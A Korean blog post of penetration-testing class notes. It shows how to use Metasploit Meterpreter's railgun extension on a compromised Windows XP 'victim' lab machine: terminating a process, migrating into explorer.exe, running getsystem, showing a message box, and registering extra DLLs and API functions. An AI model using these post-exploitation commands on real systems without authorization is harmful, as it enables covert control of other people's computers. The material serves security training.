목표
1. XP에서 실행시킨 노트패드를 API를 이용해 종료
2. 희생자의 컴퓨터에서 메세지 박스 띄우기
메모장 끄기
notepad PID : 848
meterpreter> irb
?> client.railgun.kernel32.OpenProcess("PROCESS_TERMINATE",false,848)
return => 2232
>> Phandle=[2232]
>> client.railgun.kernel32.TerminateProcess(2232,0)
하면 PID가 848 인 프로세스가 꺼진다. (여기서는 메모장)
메세지 박스 키기!
메세지 박스를 키는 API 는 MessageBoxA() 이다.
하지만 우선 explorer.exe 로 migrate 해두자. (메세지를 띄우려면 GUI 의 도움을 받아야 하므로)
또한 User32.dll 을 사용한다.
explorer.exe PID : 1040
meterpreter> migrate 1040
meterpreter> getsystem
meterpreter> irb
>> client.railgun.user32.MessageBoxA(0,"Shall We","haha","MB_OK")
하면 메세지 박스가 뜬다.
Window API 를 이용할 때,
우선 해당하는 API 함수를 찾고, (여기서는 MessageBoxA() 를 예를 든다)
해당하는 API함수의 DLL을 찾는다. (MessageBox() 의 DLL은 user32.dll 을 사용한다)
그 후,
client.railgun.[DLL].[함수명]([함수의 인자1],[함수의 인자2]...)
(
client.railgun.user32.MessageBoxA(0,"Shall We","haha","MB_OK")
)
하면 완성
client.railgun.known_dll_names 하면 지금 현재 사용가능한 DLL목록이 나오는데,
만약 여기에 없는 DLL을 사용하고 싶을 경우
client.railgun.add_dll(DLL_NAME,DLL_LOCATION_PATH)
을 사용한다.위
dllexplorer 프로그램
-> 해당하는 DLL에 대한 모든 API 함수를 보여줌.
이렇게 모든 DLL에서 볼 수도 있고,
특정 DLL만 잡아 API 함수를 볼 수도 있다.
위 사진은 WNetGetUser 함수를 찾는 모습. (해당 함수가 어떤 DLL을 사용하는지 모를 때)
이렇게 결과 값이 나옴.
WNetGetUserW 라는 함수가 mpr.dll 을 사용한다는 것을 알았으니,
위에 나왔었던
client.railgun.add_dll(DLL_NAME,DLL_LOCATION_PATH)
을 활용하자.
(mpr.dll 은 기본 지원 DLL에 없으므로)
client.railgun.add_dll("mpr","c:\\windows\\system32\\mpr.dll")
이렇게 하면 DLL이 추가 된다.
# 직접 만든 DLL이 아닌 다른 DLL이 system32경로가 아닌 다른 경로에 있을 경우, 그 DLL 은 바이러스에 쓰이는 DLL일 확률이 높다
DLL 을 추가 했으니 함수를 추가시켜 보자.
client.railgun.add_function("mpr","WGetUserW","DWORD",[["PWCHAR","lpname","in"],["PWCHAR","lpusername","out"],["PDWORD","lplen","inout"]])
이렇게 추가하면 문제점이 하나 있다.
껐다가 다시 키면 다시 추가를 해야하는데,
이를 대비하여 파일 자체를 수정하는 방법이 있다.
/opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb
파일 중에서
BUILTIN_DLLS = [
'kernel32',
'ntdll',
'user32',
'ws2_32',
'iphlpapi',
'advapi32',
'shell32',
'netapi32',
'crypt32',
'wlanapi',
'mpr',
].freeze
처럼 아래에 mpr 을 추가 해준다.
그 후, 함수도 추가해 주어야 한다.
/opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def
에서 많은 def_~~ .rb 파일들이 있는데,
여기서 우리가 필요한 것은 mpr 파일 이다. 물론 mpr 파일을 처음부터 만들면 좋겠지만,
우리는 아직 거기까지는 어려우므로
cp def_netapi32.rb def_mpr.rb
으로 netapi32 파일을 복사해준다. 그 후 복사한 def_mpr.rb 파일을 수정해주자.
10번째 줄 class Def_netapi~ 부분을 class Def_mpr 로 바꿈.
12번째 줄
def self.create_dll(dll_path = 'mpr') 로 변경.
이렇게 되어야 함.
그 후 양식에 맞추어 써주면
이렇게 해서 railgun 에 API 함수와 DLL 파일 등록 끝
'외부 교육 정리 > 서울여대 정보보호 영재교육원' 카테고리의 다른 글
[모의해킹] 타겟PC 에 Backdoor 설치 (0) | 2015.01.15 |
---|---|
모의해킹 - Heap Overflow 를 이용한 Exploit (0) | 2015.01.15 |
모의해킹용 툴 메타스플로잇 (0) | 2015.01.14 |
모의해킹 실습 OS 패스워드 (0) | 2015.01.14 |
웹 취약점 탐지 및 공격/방어 (라온시큐어 보안기술교육팀 - 조주봉 선생님) (0) | 2015.01.13 |